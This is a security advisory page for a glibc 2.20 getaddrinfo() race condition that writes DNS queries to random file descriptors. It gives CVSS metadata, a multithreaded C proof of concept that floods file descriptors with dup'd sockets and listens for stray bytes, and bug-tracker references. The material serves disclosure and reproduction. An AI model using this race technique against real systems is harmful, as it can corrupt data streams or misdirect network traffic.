glibc 2.20 getaddrinfo() writes DNS queries to random file descriptors (PoC)

2015.01.28
Credit: arnaud
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-17


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

// gcc -o bug bug.c -lpthread && ./bug #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <sys/socket.h> #include <netdb.h> #include <errno.h> #include <sys/un.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #define LOOKUP_THREADS 1000 #define SOCKET_PATH "/tmp/test.sock" void* lookup_thread(void *_) { for (;;) { struct addrinfo *res; struct addrinfo hints; memset(&hints, 0, sizeof(hints)); if (0 == getaddrinfo("example.com", NULL, &hints, &res)) { freeaddrinfo(res); } } return NULL; } void lookup() { int i; for (i = 0; i < LOOKUP_THREADS; i++) { pthread_t t; pthread_attr_t ta; pthread_attr_init(&ta); pthread_attr_setstacksize(&ta, 100<<10); if (0 != pthread_create(&t, &ta, lookup_thread, (void*)(uintptr_t)i)) { perror("pthread_create lookup thread"); exit(1); } pthread_attr_destroy(&ta); } } void* server_thread(void *_) { struct sockaddr_un saddr; int s = socket(AF_UNIX, SOCK_STREAM, 0); memset(&saddr, 0, sizeof(saddr)); if (s == -1) { perror("server socket"); return NULL; } saddr.sun_family = AF_UNIX; strncpy(saddr.sun_path, SOCKET_PATH, sizeof(saddr.sun_path)-1); if (bind(s, (struct sockaddr *)&saddr, sizeof(struct sockaddr_un)) == -1) { perror("bind"); close(s); return NULL; } if (-1 == listen(s, 0)) { perror("listen"); close(s); return NULL; } for (;;) { struct sockaddr_un paddr; socklen_t paddrlen; int fd = accept(s, (struct sockaddr*) &paddr, &paddrlen); if (fd == -1) { perror("accept"); close(s); return NULL; } for (;;) { char c; int n = read(fd, &c, 1); fprintf(stderr, "BUG: has read char 0x%02hhx: %c\a\n", (unsigned int) c, c); if (n == 0) { break; } } close(fd); } return NULL; } void sock() { int s, i, m; struct sockaddr_un saddr; // open a client socket to SOCKET_PATH for (;;) { s = socket(AF_UNIX, SOCK_STREAM, 0); if (s == -1) { perror("socket"); sleep(1); continue; } memset(&saddr, 0, sizeof(saddr)); saddr.sun_family = AF_UNIX; strncpy(saddr.sun_path, SOCKET_PATH, sizeof(saddr.sun_path)-1); if (connect(s, (struct sockaddr *)&saddr, sizeof(struct sockaddr_un)) == -1) { perror("connect"); close(s); sleep(1); continue; } break; } // repeatedly fill the file descriptor space with dups of the socket, and close the dups int fds[65536]; for (;;) { for (i = 0, m = 0; i < sizeof(fds)/sizeof(*fds); i++) { int fd = dup(s); if (fd == -1) { if (errno == EMFILE) { break; } else { perror("dup"); } } fds[i] = fd; m = i; } for (i = 0; i <= m; i++) { close(fds[i]); } continue; } } int main() { // Listen on SOCKET_PATH; if we receive something on this socket, we have // successfuly reproduced the bug unlink(SOCKET_PATH); pthread_t t; if (0 != pthread_create(&t, NULL, server_thread, NULL)) { perror("pthread_create server thread"); return 1; } // Do many getaddrinfo() in parallel lookup(); // Connect to SOCKET_PATH and dup()&close() the fd repeatedly sock(); return 0; }

References:

https://sourceware.org/bugzilla/show_bug.cgi?id=15946
http://seclists.org/oss-sec/2015/q1/316


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top